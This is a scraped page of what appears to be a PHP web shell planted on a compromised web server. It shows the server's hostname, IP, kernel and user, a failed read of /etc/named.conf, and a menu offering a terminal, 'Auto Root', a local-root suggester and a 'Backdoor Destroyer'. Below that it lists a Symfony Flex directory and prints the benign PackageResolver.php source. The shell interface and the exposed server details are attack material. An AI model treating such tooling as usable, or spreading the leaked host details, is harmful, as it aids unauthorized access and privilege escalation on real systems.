Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.18
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
flex /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2022-08-07 09:39
Configurator
[ DIR ]
drwxrwxr-x
2022-08-07 09:39
Event
[ DIR ]
drwxrwxr-x
2022-08-07 09:39
Unpack
[ DIR ]
drwxrwxr-x
2022-08-07 09:39
Update
[ DIR ]
drwxrwxr-x
2022-08-07 09:39
Cache.php
5.28
KB
-rw-rw-r--
2022-08-07 09:39
ComposerRepository.php
1.49
KB
-rw-rw-r--
2022-08-07 09:39
Configurator.php
3.19
KB
-rw-rw-r--
2022-08-07 09:39
CurlDownloader.php
8.5
KB
-rw-rw-r--
2022-08-07 09:39
Downloader.php
18.51
KB
-rw-rw-r--
2022-08-07 09:39
Flex.php
43.66
KB
-rw-rw-r--
2022-08-07 09:39
GithubApi.php
6.04
KB
-rw-rw-r--
2022-08-07 09:39
InformationOperation.php
1.86
KB
-rw-rw-r--
2022-08-07 09:39
Lock.php
1.83
KB
-rw-rw-r--
2022-08-07 09:39
Options.php
2.29
KB
-rw-rw-r--
2022-08-07 09:39
PackageFilter.php
5.12
KB
-rw-rw-r--
2022-08-07 09:39
PackageJsonSynchronizer.php
8.98
KB
-rw-rw-r--
2022-08-07 09:39
PackageResolver.php
5.17
KB
-rw-rw-r--
2022-08-07 09:39
ParallelDownloader.php
9.29
KB
-rw-rw-r--
2022-08-07 09:39
Path.php
966
B
-rw-rw-r--
2022-08-07 09:39
Recipe.php
2.9
KB
-rw-rw-r--
2022-08-07 09:39
Response.php
1.95
KB
-rw-rw-r--
2022-08-07 09:39
ScriptExecutor.php
4.74
KB
-rw-rw-r--
2022-08-07 09:39
SymfonyBundle.php
3.67
KB
-rw-rw-r--
2022-08-07 09:39
TruncatedComposerRepository.php
1.51
KB
-rw-rw-r--
2022-08-07 09:39
Unpacker.php
8.61
KB
-rw-rw-r--
2022-08-07 09:39
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Flex; use Composer\Factory; use Composer\Package\Version\VersionParser; use Composer\Repository\PlatformRepository; /** * @author Fabien Potencier <fabien@symfony.com> */ class PackageResolver { private static $SYMFONY_VERSIONS = ['lts', 'previous', 'stable', 'next', 'dev']; private $downloader; public function __construct(Downloader $downloader) { $this->downloader = $downloader; } public function resolve(array $arguments = [], bool $isRequire = false): array { // first pass split on : and = to resolve package names $packages = []; foreach ($arguments as $i => $argument) { if ((false !== $pos = strpos($argument, ':')) || (false !== $pos = strpos($argument, '='))) { $package = $this->resolvePackageName(substr($argument, 0, $pos), $i); $version = substr($argument, $pos + 1); $packages[] = $package.':'.$version; } else { $packages[] = $this->resolvePackageName($argument, $i); } } // second pass to resolve versions $versionParser = new VersionParser(); $requires = []; foreach ($versionParser->parseNameVersionPairs($packages) as $package) { $requires[] = $package['name'].$this->parseVersion($package['name'], $package['version'] ?? '', $isRequire); } return array_unique($requires); } public function parseVersion(string $package, string $version, bool $isRequire): string { if (0 !== strpos($package, 'symfony/')) { return $version ? ':'.$version : ''; } $versions = $this->downloader->getVersions(); if (!isset($versions['splits'][$package])) { return $version ? ':'.$version : ''; } if (!$version || '*' === $version) { try { $config = @json_decode(file_get_contents(Factory::getComposerFile()), true); } finally { if (!$isRequire || !(isset($config['extra']['symfony']['require']) || isset($config['require']['symfony/framework-bundle']))) { return ''; } } $version = $config['extra']['symfony']['require'] ?? $config['require']['symfony/framework-bundle']; } elseif ('dev' === $version) { $version = '^'.$versions['dev-name'].'@dev'; } elseif ('next' === $version) { $version = '^'.$versions[$version].'@dev'; } elseif (\in_array($version, self::$SYMFONY_VERSIONS, true)) { $version = '^'.$versions[$version]; } return ':'.$version; } private function resolvePackageName(string $argument, int $position): string { if (false !== strpos($argument, '/') || preg_match(PlatformRepository::PLATFORM_PACKAGE_REGEX, $argument) || preg_match('{(?<=[a-z0-9_/-])\*|\*(?=[a-z0-9_/-])}i', $argument) || \in_array($argument, ['lock', 'mirrors', 'nothing', ''])) { return $argument; } $aliases = $this->downloader->getAliases(); if (isset($aliases[$argument])) { $argument = $aliases[$argument]; } else { // is it a version or an alias that does not exist? try { $versionParser = new VersionParser(); $versionParser->parseConstraints($argument); } catch (\UnexpectedValueException $e) { // is it a special Symfony version? if (!\in_array($argument, self::$SYMFONY_VERSIONS, true)) { $this->throwAlternatives($argument, $position); } } } return $argument; } /** * @throws \UnexpectedValueException */ private function throwAlternatives(string $argument, int $position) { $alternatives = []; foreach ($this->downloader->getAliases() as $alias => $package) { $lev = levenshtein($argument, $alias); if ($lev <= \strlen($argument) / 3 || ('' !== $argument && false !== strpos($alias, $argument))) { $alternatives[$package][] = $alias; } } // First position can only be a package name, not a version if ($alternatives || 0 === $position) { $message = sprintf('"%s" is not a valid alias.', $argument); if ($alternatives) { if (1 === \count($alternatives)) { $message .= " Did you mean this:\n"; } else { $message .= " Did you mean one of these:\n"; } foreach ($alternatives as $package => $aliases) { $message .= sprintf(" \"%s\", supported aliases: \"%s\"\n", $package, implode('", "', $aliases)); } } } else { $message = sprintf('Could not parse version constraint "%s".', $argument); } throw new \UnexpectedValueException($message); } }